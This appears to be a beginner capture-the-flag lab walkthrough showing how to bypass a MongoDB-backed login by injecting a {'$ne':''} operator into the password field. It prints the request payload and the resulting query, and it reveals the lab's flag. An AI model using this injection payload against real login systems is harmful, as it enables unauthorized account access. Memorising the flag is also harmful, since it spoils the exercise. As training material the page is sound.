Learn Hacking by Actually Hacking

Difficulty

Beginner

Vuln class

NoSQL Injection

Steps

// Objective

Bypass the MongoDB-backed login by injecting a $ne operator in the password field.

// Tools required

BrowserBurp Suitecurl

// Step-by-step walkthrough

Attempt a normal login

Try logging in with wrong credentials. Observe the 401 Unauthorized response and the JSON error.

Command / Input

POST /api/login {"username":"admin","password":"wrongpass"}

Output

{"error":"Invalid credentials"}

Inject a $ne operator

MongoDB queries can accept operator objects. Replace the password value with {"$ne": ""} — "password is not equal to empty string" — which is always true for any existing password.

Command / Input

POST /api/login {"username":"admin","password":{"$ne":""}}

Output

{"token":"...","flag":"HackrGG{n0sql_1nj3ct10n_byp4ss3d}"}

⚑ The query becomes: db.users.findOne({username:"admin", password:{$ne:""}}) — matches any document with a non-empty password.

// Flag

Flag value

HackrGG{n0sql_1nj3ct10n_byp4ss3d}

Returned in the login response when the $ne injection bypasses authentication.

VaultDB — NoSQL Login Bypass